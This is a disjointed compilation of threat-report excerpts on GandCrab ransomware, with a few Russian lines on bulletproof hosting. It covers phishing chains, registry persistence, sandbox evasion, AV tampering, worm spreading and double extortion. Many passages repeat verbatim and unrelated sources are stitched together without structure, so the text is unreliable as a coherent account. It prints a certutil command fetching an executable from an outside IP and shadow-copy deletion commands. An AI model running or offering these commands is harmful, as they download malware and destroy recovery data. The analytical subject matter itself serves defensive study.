GandCrab

Recently, Sophos Labs has observed criminal groups scanning the internet for open MySQL databases running on Windows systems, which they tried to infect with GandCrab.

Following the trails of a malvertising campaign targeting users of torrent trackers and video streaming websites, malware researchers found that Fallout Exploit Kit was used to spread a relatively new infostealer called Vidar

В kill chain bulletproof hosting закрывает этап Resource Development (MITRE ATT&CK): приобретение доменов (T1583.001)

В kill chain bulletproof hosting закрывает этап Resource Development (MITRE ATT&CK): ... настройка DNS-серверов (T1583.002)

В kill chain bulletproof hosting закрывает этап Resource Development (MITRE ATT&CK): ... аренда VPS (T1583.003)

В kill chain bulletproof hosting закрывает этап Resource Development (MITRE ATT&CK): ... и выделенных серверов (T1583.004)

In January 2019, it was reported that some domains that were registered at GoDaddy had been sending ransom bomb threats... These messages appeared to be from domains owned by legitimate, well-known brands. The group... was exploiting a vulnerability in GoDaddy’s DNS setup platform... They would then use the automated service to send mail from dormant domains.

Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February.

Propagation Via Removable Drive... If removable drives was found during this scan it will call the function that will do the actual worm propagation.

The GandCrab RaaS is an online portal where crooks sign up and pay to get access to custom builds of the GandCrab ransomware, which they later distribute via email spam, exploit kits, or other means.

A remote attacker is able to exploit a server-side request forgery (SSRF) vulnerability in the WebDAV plugin to send arbitrary HTTP and WebDAV requests from a Confluence Server or Data Center instance.

“The adversary accessed the target environment via another MSP” and abused “the trust relationships between MSPs and their customers.”

Romanian police arrested suspects for their role in distributing to ransomware via spam.

The start of the chain of events that lead to the installation of GandCrab is when a victim receives an email with a subject like "Receipt Feb-078122". These emails contain a PDF attachment with names like Feb01221812.pdf

This is done through a series of malicious documents that ultimately install the ransomware via a PowerShell script.

“The batch file contained a Base64-encoded PowerShell script that was subsequently executed.” The script used WebClient DownloadString and Invoke-Expression (IEX).

“cmd.exe and powershell.exe are both descendants of the ScreenConnect.WindowsClient.exe process,” and ScreenConnect copied a batch file to endpoints.

This Word document contains a macro that downloads and executes the Gandcrab ransomware. | During the course of the campaign, we also saw emails that included VBScript files instead of a ZIP file. The end result is the same, with the payload being pulled off of the server.

a piece of code was included within the distributed script specifically to drop and run a JS file which deletes the V3 service upon detection.

As retaliation, they included a zero-day for the AhnLab antivirus in the GandCrab code.

When a user opens this PDF, they will be shown a prompt that pretends to be a captcha asking the user to confirm they are human.

When a user clicks on the captcha, the PDF file downloads a malicious word document.

When a user clicks on the captcha, the PDF file downloads a malicious word document. When opened, this document will contain the standard social engineering text that tries to convince the user to enable macros by clicking on the Enable Content button.

Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February.

GandCrab also used the registry to keep the generated RSA keys... In this case GandCrab saved the randomly created extension in the registry too... One registry subkey was stored in HKLM or HKCU.

create %regrun% key to persist on the infected machine. "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"

The said function will create a ".lnk" with map drive icon that are pointing to another copy of itself "DeviceManager.exe" place to the new directory "_" it creates in hidden attribute.

“PowerShell... was leveraged in an attempt to inject shellcode into itself” and Elastic prevented several process-injection attempts.

we managed to track down more than 10 (!) of their Windows Kernel Local Privilege Escalation (LPE) exploits, many of which were zero-days at the time of development.

Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February.

With CVE-2018-8120, it tried to steal the system token of the SYSTEM idle process.

create %regrun% key to persist on the infected machine. "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"

The said function will create a ".lnk" with map drive icon that are pointing to another copy of itself "DeviceManager.exe" place to the new directory "_" it creates in hidden attribute.

“The batch file contained a Base64-encoded PowerShell script that was subsequently executed.”

Obfuscation and polymorphic nature of malware make them more difficult to identify by Antivirus system.

There was even a case where a malicious script named ‘ahnlab.txt’ was distributed during a fileless attack using PowerShell.

“PowerShell... was leveraged in an attempt to inject shellcode into itself” and Elastic prevented several process-injection attempts.

Deleting Download Meta-Information finger print: It will delete the "<malware-process.exe>"zone.identifier"ADS, which is the meta-information to track that the file is downloaded from internet.

Finally, the malware deleted itself without warning the user or awaiting user interaction.

Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February.

With CVE-2018-8120, it tried to steal the system token of the SYSTEM idle process.

When the sct5 PowerShell script is executed, it will decode an embedded GandCrab executable and launch it.

After 26 September, WMIC.exe was used instead of cmd.exe to uninstall the V3 program.

The specific syntax used is shown below: certutil.exe -urlcache -split -f hxxp://185.189.58[.]222/bam.exe

It also CreateMutex Name "75969590" to make sure only one instance of its code is running in the system.

This Malware Downloader can checks whether its file is running in a sandbox or virtual machine, by checking 16 process name hard coded to its code... If one of those process was found in infected machine it will end its process by call ExitProcess API.

It also checks some modules or module exported API to detect sandbox environment. example it checks if "kernel32.dll" contains "wine_get_unix_file_name" exported API... It can also check sandboxie or sysanalyzer environment by checking some modules in the infected machine.

The executed script included “Start-Sleep -s 1000000.”

adding the path of copy of itself "%windir%\T80870405687060\winsvcs.exe" with hidden attribute... place to the new directory "_" it creates in hidden attribute.

The upgraded method allowed the V3 uninstallation screen to be hidden from the user’s view while also automating the button-click process to run the GandCrab ransomware.

Popular malware like Sodinokibi and Gandcrab have used reflect DLL loaders in the past that allows attackers to load a dynamic library into process memory without using Windows API... the obfuscated Cobalt Strike beacon... gets deobfuscated with a static XOR key and loaded into memory using reflective loading techniques.

These exploits could be blocked if a mutex with a hard-coded name exists in the future infected machine... Other vaccines included a search for a mutex name and creation of it in the system before infection even occurred; the flaw here was that the mutex name was always the same.

GandCrab also used the registry to keep the generated RSA keys... In this case GandCrab saved the randomly created extension in the registry too... One registry subkey was stored in HKLM or HKCU.

Bypassing Firewall and Windows Defender Anti-Virus: This GandCrab component bypassed the firewall by adding the path of copy of itself... Then to bypass Windows Defender and disable system restore, it tries to enable some registry entry that disable some features of the said AV including system restore disabling

GandCrab obtained all processes of the system and searched for the common process names, just like other ransomware families such as Cerber.

“The PowerShell script that was executed checked the processor architecture before utilizing the .NET WebClient class to download content.”

The first Thread is responsible for propagating via removable drives... looking for removable drive that may attach to the infected machine... Another interesting stuff is in the 2nd thread... look for a Rar archived files within infected machine to embed the copy of itself to it

To further increase speed, GandCrab started using another thread to look for network shares besides the normal encryption thread.

This Malware Downloader can checks whether its file is running in a sandbox or virtual machine, by checking 16 process name hard coded to its code... If one of those process was found in infected machine it will end its process by call ExitProcess API.

It also checks some modules or module exported API to detect sandbox environment. example it checks if "kernel32.dll" contains "wine_get_unix_file_name" exported API... It can also check sandboxie or sysanalyzer environment by checking some modules in the infected machine.

The executed script included “Start-Sleep -s 1000000.”

GandCrab checked the language of the victim system before starting... compare it with a hard-coded list that included all CIS countries. If the victim system was based in one of the CIS countries GandCrab would terminate.

These exploits could be blocked if a mutex with a hard-coded name exists in the future infected machine... Other vaccines included a search for a mutex name and creation of it in the system before infection even occurred; the flaw here was that the mutex name was always the same.

GandCrab’s aggressive distribution network was built through its affiliate program and partnerships with other services, such as the binary crypter NTCrypt, along with other actors with expertise in distribution through RDP and VNC.

In June 2019, an REvil affiliate targeted MSPs via Remote Desktop and then used their management software to push ransomware installers to all of the endpoints that they manage.

Propagation Via Removable Drive... If removable drives was found during this scan it will call the function that will do the actual worm propagation.

Recently, Sophos Labs has observed criminal groups scanning the internet for open MySQL databases running on Windows systems, which they tried to infect with GandCrab.

Embedding itself to the RAR Archived file... look for a Rar archived files within infected machine to embed the copy of itself to it, namely as "Windows Archive Manager.exe".

Crabs only said only 'good work,' admitting that the Romanian antivirus firm had gained access to one of the GandCrab C&C servers from where they took the encryption/decryption keys fair and square.

Web Protocols T1071.001 C2-трафик через HTTPS на стандартных портах (443)

Когда одну компанию блокируют, трафик мигрирует на другую - классический multi-hop proxy (T1090.003, Command and Control).

The actor used ScreenConnect “to connect and copy a batch file to the target endpoint,” while the PowerShell script used “the .NET WebClient class to download content from Pastebin.”

“The powershell.exe process was created as a descendant of ScreenConnect.WindowsClient.exe” and the actor “leveraged ScreenConnect remote desktop software to connect and copy a batch file to the target endpoint.”

One of the interesting elements of Gandcrab is its use of namecoin domains for command and control (C2) communication. These are easily identified by the .bit top level domain (TLD).

Для повышения устойчивости применяется Fast Flux DNS (T1568.001, Command and Control): домен клиента меняет привязку к IP-адресам с интервалом в несколько минут.

Характерная черта Media Land - использование множества юридических лиц ... и техническое сокрытие инфраструктуры (T1665, Command and Control).

The Gandcrab team would then try to expand that access, often siphoning vast amounts of sensitive and internal documents in the process.

In addition, in some cases, extensive data were also spied on and threatened with the publication of this, unless a ransom was paid.

...pioneered the practice of double extortion — charging victims once for a key needed to unlock hacked systems, and a separate payment in exchange for a promise not to publish stolen data.

These two new GandCrab versions contained the alleged exploit code targeting AhnLab antivirus versions... 'The attack code is inserted in GandCrab 4.21 and 4.3 version, and it is executed after infecting normal files,' AhnLab Director Changkyu Han told Bleeping Computer.

If it detected any of them, it would try to open the process and terminate it using the ‘TerminateProcess’ function.

Once all encrypting had taken place it would start to delete the Volume Shadow Copies to prevent restoration of files... cmd.exe /c vssadmin delete shadows /all /quiet ... \wbem\wmic.exe shadowcopy delete

the victim’s files will be encrypted and their wallpaper hijacked to display the note for GandCrab version 5.04.

GandCrab uses various exploit kits to deliver a wide variety of malware, including ransomware and cryptocurrency mining malware

All of them identified the issue as a denial-of-service (DOS) bug that can crash one of the components of the AhnLab's antivirus, and in some cases, even crashing the OS with a BSOD (Blue Screen of Death).

The perpetrators demanded large ransom payments in exchange for decrypting and not leaking data.